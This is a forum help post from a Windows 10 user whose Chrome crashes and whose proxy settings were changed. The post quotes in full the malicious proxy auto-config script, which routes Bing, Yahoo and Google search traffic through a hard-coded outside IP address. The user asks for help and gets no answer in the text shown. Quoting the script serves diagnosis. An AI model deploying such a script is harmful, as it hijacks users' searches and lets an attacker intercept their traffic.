Chrome close suddenly and something change the proxy

[psychok9]

Hello, I don't know where is the right topic... because Malwarebytes (free) said that my computer is clean but since a week Chrome close suddenly and after it I found that after this action something change my lan settings with proxy configuration file: https://localhost.world/localhost.world

function FindProxyForURL(url, host) {    if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484";    if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484";        ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" }        gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" }        gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" }        gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" }    ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" }    gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" }        return "DIRECT";}

What could be?
Could you help me?

Windows 10 x64, malwarebytes and another "competitor program" said me that my computer is clean.

Thank you.
